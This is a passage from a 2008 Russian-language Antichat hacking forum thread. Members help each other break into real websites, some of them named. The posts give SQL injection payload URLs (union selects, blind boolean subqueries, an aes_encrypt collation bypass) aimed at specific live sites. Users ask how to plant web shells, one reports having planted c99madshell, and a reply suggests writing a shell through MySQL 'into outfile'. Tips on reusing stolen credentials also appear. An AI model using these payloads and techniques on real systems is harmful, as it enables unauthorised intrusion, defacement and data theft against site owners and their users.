29.03.2008, 23:04
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от ReVOLVeR
d_x b b и остальные тоже пустые???
таблица не в этой бд...
Советую в дальнейшем не заниматься телепатией, а посмотреть на происходящие вещи, т.е. сначала посмотреть ссылки которые дали, а потом постить
__________________
Карфаген должен быть разрушен...
|
|
|
29.03.2008, 23:59
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
http://www.laptopshowcase.co.uk/suppliers.php?id=-2+group+by+6+union+select+1,2,3,4,5,6,7,8,9+from+s uppliers или products/*
Чёт у мя тут не получается)).В таблицах Suppliers, Downloads, Products есть столбцы name и id. Вбиваю их,пишет Suppliers not found. Значит ли это, что их нету ?)). Другие столбцы перебирать не стал)
http://www.laptopshowcase.co.uk/suppliers.php?id=-2+group+by+6+union+select+1,2,3,4,5,6,7,8,9/*
P.S. Подставляя вместо 3 что-либо, пытаться угадать ? Если есть что...
|
|
|
|
02.05.2008, 21:12
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
Сообщение от Dronix
оО пездец полюбому черная магия, юзай читы
ты не понимаешь ничего.
предупреждения не воздействуют.
|
|
|
|
12.05.2008, 13:22
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами:
10158086
Репутация:
1359
|
|
Сообщение от Extremal
http://www.*****.ru/shop/pollbooth.php?op=results&pollid=-6+union+select+9999/*
Есть такая инъекция...выводит 9999....но когда я заменяю 9999 допустим на version() и т.д.
Сразу выдает ошибку и ничего не выводит...из за чего это может быть и как сделать что б нормально выводило?
скорее всего штото там с коллейтами или типа того
обходится
Код:
aes_decrypt(aes_encrypt(vesion(),0xaa),0xaa)
|
|
|
|
20.05.2008, 19:13
|
|
Познающий
Регистрация: 18.07.2007
Сообщений: 40
С нами:
9903046
Репутация:
13
|
|
Подскажите плиз как залить шелл в админке Datalife версия 6.7
|
|
|
|
06.06.2008, 09:02
|
|
Познающий
Регистрация: 22.04.2008
Сообщений: 32
С нами:
9501269
Репутация:
56
|
|
Сообщение от l1ght
ничего не получается  Значение параметра "npcs" передается в функцию js g_inintPath, там преобразоввывается 7 = База=>NPCs=>Humanoids, 7-1 = База=>NPCs=>Undead, и т.д.
Заметь, при значении 7-1 содержимое самого списка на странице не меняется, т.е. в скуль попадает только 7, а не 7-1, т.ч. параметр "npcs" фильтруется.
Последний раз редактировалось z3r0cool; 06.06.2008 в 09:05..
|
|
|
|
15.06.2008, 10:38
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
gisTy, в таком случае помогают логические запросы
например доступ к information_schema у тебя есть
Код:
http://www.beka.ru/php/content.php?id=1614+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables/*
и есть подзапросы
Код:
http://www.beka.ru/php/content.php?id=1614+and+ascii(lower(substring(user(),4,1)))=53/*
Imperou$, смотря откуда ты выдрал логин и пасс, если сайтов действительно много, большая вероятность удаленного подключения к серверу mysql, если не поможет поищи различные службы через passwd. если движок на сайте публичный можешь через гугл найти путь до админки, если не публичный помогут cgi-сканеры; тем более если на сайте есть новости значит их кто то добавляет) а вообще из названия таблицы обычно понятно к чему подходит логин:пароль)
|
|
|
|
15.06.2008, 16:30
|
|
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами:
9456679
Репутация:
97
|
|
Неактуально 
Последний раз редактировалось Imperou$; 16.06.2008 в 00:01..
|
|
|
|
17.06.2008, 18:46
|
|
Новичок
Регистрация: 12.11.2007
Сообщений: 25
С нами:
9734371
Репутация:
3
|
|
Здравствуйте!
Залил c99madshell на сервер 1.
Есть доступ admin через c99madshell в MySQL базы сервера 2.
Скажите, как можно залить шелл на сервер 2, если есть только admin доступ к MySQL базам этого сервера?
Спасибо! |
|
|
|
17.06.2008, 19:21
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от fervex
Здравствуйте!
Залил c99madshell на сервер 1.
Есть доступ admin через c99madshell в MySQL базы сервера 2.
Скажите, как можно залить шелл на сервер 2, если есть только admin доступ к MySQL базам этого сервера?
Спасибо! Стандартно, через into outfile
__________________
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
